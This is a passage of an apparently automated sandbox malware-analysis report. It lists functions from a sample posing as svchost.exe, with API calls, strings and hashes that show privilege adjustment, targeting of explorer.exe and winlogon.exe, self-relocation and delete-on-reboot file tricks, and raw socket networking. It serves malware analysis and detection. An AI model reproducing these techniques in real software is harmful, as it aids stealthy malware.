                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AdminCloseCountFlushOpenTickUserValue
                                                                                                                                                                                                            • String ID: 7D2DE753a$user!899552!E7E3D226$software\microsoft
                                                                                                                                                                                                            • API String ID: 287100044-2713755444
                                                                                                                                                                                                            • Opcode ID: 8f6cdfb92d119de1b8484a46a2feac68937d8403caffc9ce92df36176a82f031
                                                                                                                                                                                                            • Instruction ID: 3b1379d1164551cb229a6ca7f0a1ba3dadd87f54f5e1a5cc4ea733abf2b871cf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8f6cdfb92d119de1b8484a46a2feac68937d8403caffc9ce92df36176a82f031
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 60F03C79D80258FBE701DBA0AC4AF9A773CAF04601F104695FE06A3180D670AA159BA5
                                                                                                                                                                                                            Function 004027B0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 34COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GlobalFindAtomA.KERNEL32(Fri Jun 17 05:52:09 20112,?,?,00402D7C), ref: 004027B9
                                                                                                                                                                                                            • GlobalAddAtomA.KERNEL32(Fri Jun 17 05:52:09 20112), ref: 004027CA
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 004027D6
                                                                                                                                                                                                            • RtlAdjustPrivilege.NTDLL ref: 004027E6
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 004027EC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AdminAtomGlobalUser$AdjustFindPrivilege
                                                                                                                                                                                                            • String ID: Fri Jun 17 05:52:09 20112$Pn7w$explorer.exe$winlogon.exe
                                                                                                                                                                                                            • API String ID: 3001685711-3521715275
                                                                                                                                                                                                            • Opcode ID: d14c921f1184c696d62da8aac8ded89f8ce8efe24655d3e49b352df140887ec9
                                                                                                                                                                                                            • Instruction ID: 466661b1ea48edbd92509d7abf6a2a5afa49196c9ec5a44dbf6f5976db38d1d5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d14c921f1184c696d62da8aac8ded89f8ce8efe24655d3e49b352df140887ec9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6AF08CB460020566EA5077E1AE0AB6B3A1CAB84B90F104137FF00B72E0EAB8DC0046FC
                                                                                                                                                                                                            Function 02C7EB10 Relevance: 15.3, APIs: 7, Strings: 3, Instructions: 271COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,00000000), ref: 02C7EBEA
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?,?,?,?,00001100,?,?,?,?,?,?,?,?,?), ref: 02C7EC9A
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C7ECB6
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,?), ref: 02C7ECC5
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,?,?,?,Content-Length,?), ref: 02C7ED1C
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?), ref: 02C7ED3D
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,?), ref: 02C7EDBF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memcpy$_snprintf
                                                                                                                                                                                                            • String ID: 0$%x$Content-Length
                                                                                                                                                                                                            • API String ID: 4125937431-3838797520
                                                                                                                                                                                                            • Opcode ID: 33af21bc4f9b3d582628b9cae9a83cdf2460a5ddc0ce9f7ac8dce1af683e3ede
                                                                                                                                                                                                            • Instruction ID: 52476407a82d41700fb536315d3cc800fccaa62d03a276dfe78a9bb67cd9490d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 33af21bc4f9b3d582628b9cae9a83cdf2460a5ddc0ce9f7ac8dce1af683e3ede
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 87916FB2600746AFC714DF68D88496AB7E9FF98314F048B69F82987644E770E914CBE1
                                                                                                                                                                                                            Function 02C750D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 110synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75110
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7513C
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75163
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C75184
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000334,000003E8), ref: 02C751B4
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000334), ref: 02C751D5
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02C751EE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 2971961948-3387790918
                                                                                                                                                                                                            • Opcode ID: 70f9fc3143bf534cca684f0e4e89fc85c5a61feea77cab146b802c1c70a26e28
                                                                                                                                                                                                            • Instruction ID: 624dc36d533c102a67ddf76a704838ae94d69d864442ab1e9e144c3c66c6519f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 70f9fc3143bf534cca684f0e4e89fc85c5a61feea77cab146b802c1c70a26e28
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8B41B975E40208EFDB40DFA9D884AEDBBF5FB88351F51456AE904E7200E774AA01CF90
                                                                                                                                                                                                            Function 02C75200 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C75218
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75249
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75275
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7529C
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000334,000003E8), ref: 02C752CD
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000334), ref: 02C752EE
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02C752F8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 2971961948-3387790918
                                                                                                                                                                                                            • Opcode ID: ce913c20827457bea48ee1bafbd5fd172c027c311be6c2699a490eb7730b090c
                                                                                                                                                                                                            • Instruction ID: 30c5bc5ae0f3d323f0229e5c14f4cc7f50c54d2b51a2aeee4670010bc99a5d1c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ce913c20827457bea48ee1bafbd5fd172c027c311be6c2699a490eb7730b090c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CB31B5B5E40258AFDB40DFE9D884ADDBBF9FB48310F50856AE918E7240E7749A11CF90
                                                                                                                                                                                                            Function 02C8AB20 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 92threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\private\), ref: 02C8AB49
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8AAF0,00000000,00000000,00000000), ref: 02C8AB96
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\public\), ref: 02C8ABAE
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8AAD0,00000000,00000000,00000000), ref: 02C8ABF2
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8AC0A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8AC1B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandleThread$CloseInformation
                                                                                                                                                                                                            • String ID: \private\$\public\
                                                                                                                                                                                                            • API String ID: 677819612-281496920
                                                                                                                                                                                                            • Opcode ID: 0a4440110d42e8da86999d1edf3a9dac1824afa8cb82750815a93b5b3e5396a2
                                                                                                                                                                                                            • Instruction ID: 459944f8d6a44322f75390ca40d196e11bb48cfee441a594600555a0848a885f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0a4440110d42e8da86999d1edf3a9dac1824afa8cb82750815a93b5b3e5396a2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 493109309817149FE7216B14EC09BA67758DF81B0DF14C65BEA055B2C0C7B59648DFD4
                                                                                                                                                                                                            Function 02C7D200 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowLongA.USER32(?,000000F0), ref: 02C7D21B
                                                                                                                                                                                                            • GetLastActivePopup.USER32(?), ref: 02C7D229
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02C7D243
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02C7D246
                                                                                                                                                                                                            • GetWindowInfo.USER32(00000000,?), ref: 02C7D25C
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000004), ref: 02C7D265
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02C7D29E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$ActiveInfoLastLongPopup
                                                                                                                                                                                                            • String ID: <
                                                                                                                                                                                                            • API String ID: 3748940024-4251816714
                                                                                                                                                                                                            • Opcode ID: 6566fcbd06473202438ac9c479076b65a869ccce2ce16732eb24cbd94813201e
                                                                                                                                                                                                            • Instruction ID: ad51b8ab07b6a8a0a47f95f8dc24954f2c3c838c14de4cce43531096e268ba51
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6566fcbd06473202438ac9c479076b65a869ccce2ce16732eb24cbd94813201e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2B110B71A4061516DB22A9699CC9FAFBB5CEFD1354F040665FE02F3180DB60DE428BA0
                                                                                                                                                                                                            Function 02C7C910 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C7C8E0,00000000,00000000,00000000), ref: 02C7C924
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,02C78DCA,?,?,?,?,02C78F99,00000000,?,?,?,?,02C78500), ref: 02C7C93C
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02C78DCA,?,?,?,?,02C78F99,00000000,?,?,?,?,02C78500,?), ref: 02C7C94D
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,02C78DCA,?,?,?,?,02C78F99,00000000,?,?,?,?,02C78500), ref: 02C7C95C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7C990
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02C7C997
                                                                                                                                                                                                            • PostMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7C9AB
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseCreateInformationMessageMutexObjectPostReleaseSingleThreadWaitWindow
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 731183410-3387790918
                                                                                                                                                                                                            • Opcode ID: 898a5462f15b66eb5b6a881246f3b77817fdb00d5b63b46bcc56904acff011f1
                                                                                                                                                                                                            • Instruction ID: dc847c986a7579aa9beb734f0ddc6753ee581b3efceb7b23b13afb8658165d64
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 898a5462f15b66eb5b6a881246f3b77817fdb00d5b63b46bcc56904acff011f1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE11C830E81315BBE7129F60EC0EF9A3BA8AF45714F1447A5FA149B2C1D7B46710CB94
                                                                                                                                                                                                            Function 02C729B0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocexitfree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3367576030-0
                                                                                                                                                                                                            • Opcode ID: bbcff4de4a4894e0a6d107a95d912f7d4d6b507eb13154987a22060052d57127
                                                                                                                                                                                                            • Instruction ID: 9e9d0ca8c05ed3c8b7aa55220ca6670d6b8bda956e2584675a14374352471800
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bbcff4de4a4894e0a6d107a95d912f7d4d6b507eb13154987a22060052d57127
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1961A475A00609AFEB20DF69C880BAEB7B5FF88314F148459ED0697340D771EA51CF92
                                                                                                                                                                                                            Function 02C9C140 Relevance: 13.7, APIs: 9, Instructions: 191fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free$malloc$CloseFileHandleReadselect
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 158848325-0
                                                                                                                                                                                                            • Opcode ID: fe96fb7445081e0d6b7b4217289d3908891c8ab8d549666e3766b5898d1a3772
                                                                                                                                                                                                            • Instruction ID: 700ab6dcdf6e10d77520856caff018f3a20b3bd56e95b8683181c0d6a86973f5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fe96fb7445081e0d6b7b4217289d3908891c8ab8d549666e3766b5898d1a3772
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2351C771D00659ABDB10CFA99C88BFFB7F8EB88724F14056AE51DD7280D631AB018B91
                                                                                                                                                                                                            Function 004011C0 Relevance: 13.6, APIs: 9, Instructions: 66fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(00401C30,?,0000001C), ref: 004011EF
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00401205
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 00401212
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?,00000000), ref: 00401229
                                                                                                                                                                                                            • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 00401241
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0040125D
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 0040126C
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 00401279
                                                                                                                                                                                                            • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0040128D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$MoveNamePathTemp$AttributesDeleteExistsModuleQueryVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2787354276-0
                                                                                                                                                                                                            • Opcode ID: 13bd0b2ba2dd39b79c74d8f201215cd59729224600901bedf3da6c7ccc4d33b0
                                                                                                                                                                                                            • Instruction ID: 6fb89bbc187d80a5bc5b9bf27070627c8da11026cf83192134f00bca91ba5049
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 13bd0b2ba2dd39b79c74d8f201215cd59729224600901bedf3da6c7ccc4d33b0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7C21FCB1900219AFDB50DBA0DD49FEA77BCAB48700F4045A9E705F6190E7B49A54CFA4
                                                                                                                                                                                                            Function 00402ED0 Relevance: 13.5, APIs: 9, Instructions: 39memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402ED7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000300,004035BE,7644E610,00402EBE), ref: 00402EEF
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402EF2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000300), ref: 00402EFF
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402F02
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,004035BE,004035BE,7644E610,00402EBE), ref: 00402F0B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402F0E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,004035BE), ref: 00402F1B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402F1E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Free$Validate$String
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2629017576-0
                                                                                                                                                                                                            • Opcode ID: fff050803a28cdbdb81a85633d3b81f0a42b3d859f4e64ff46b7961ccc31fb95
                                                                                                                                                                                                            • Instruction ID: 47c24e4de567f4ebe007c7ce519db5101e5d5be497eca443f574c4ff2f4d9865
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fff050803a28cdbdb81a85633d3b81f0a42b3d859f4e64ff46b7961ccc31fb95
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8BF0DAB1656211ABEA102BA59E8CF572A6CEF85B82F040525B708F71D0CAB4DC40D67C
                                                                                                                                                                                                            Function 02C98890 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226timeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C9EAA0: select.WS2_32(?,?,00000000,00000000,?), ref: 02C9EB27
                                                                                                                                                                                                              • Part of subcall function 02C9EAA0: __WSAFDIsSet.WS2_32(?,?), ref: 02C9EB58
                                                                                                                                                                                                              • Part of subcall function 02C9EAA0: recv.WS2_32(?,?,00000005,00000000), ref: 02C9EB7B
                                                                                                                                                                                                              • Part of subcall function 02C9EAA0: recv.WS2_32(?,?,00000004,00000000), ref: 02C9EB9D
                                                                                                                                                                                                              • Part of subcall function 02C9EAA0: socket.WS2_32(00000002,00000001,00000000), ref: 02C9EBB6
                                                                                                                                                                                                              • Part of subcall function 02C9EAA0: setsockopt.WS2_32(00000000,00000006,00000001,00000001,00000004), ref: 02C9EBD2
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02C988B3
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(?), ref: 02C98987
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(?), ref: 02C989D2
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(00000000,?), ref: 02C98A64
                                                                                                                                                                                                            • GetSystemTime.KERNEL32(user!899552!E7E3D226,?), ref: 02C98AB2
                                                                                                                                                                                                            • free.MSVCRT ref: 02C98B6F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: SystemTime$recv$freemallocselectsetsockoptsocket
                                                                                                                                                                                                            • String ID: user!899552!E7E3D226
                                                                                                                                                                                                            • API String ID: 2153857484-1289176755
                                                                                                                                                                                                            • Opcode ID: 49f1d266871a2e713ea10d1f790a0fcbf5d4a49dcbe9e1e26214910ee85b388a
                                                                                                                                                                                                            • Instruction ID: c92b1d76400ef9843e2e8b4eed5cff5ffa8c5a4895de51623a914c03a3318989
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 49f1d266871a2e713ea10d1f790a0fcbf5d4a49dcbe9e1e26214910ee85b388a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8C91BF71A006558FDF28CF28C4987BEBBE5BB86304F04476EE5969B681E734E681CB50
                                                                                                                                                                                                            Function 02C899D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 98libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C899E7
                                                                                                                                                                                                            • GetVersionExW.KERNEL32(?), ref: 02C89A0A
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C89ADB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C89AEC
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 02C89AFC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCurrentHandleModuleProcProcessVersionmemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 877405840-3024904723
                                                                                                                                                                                                            • Opcode ID: 2d8e0a6a8fff08f23e0aad92f46895f996e6a680ca94b2f21621046ed013eb6d
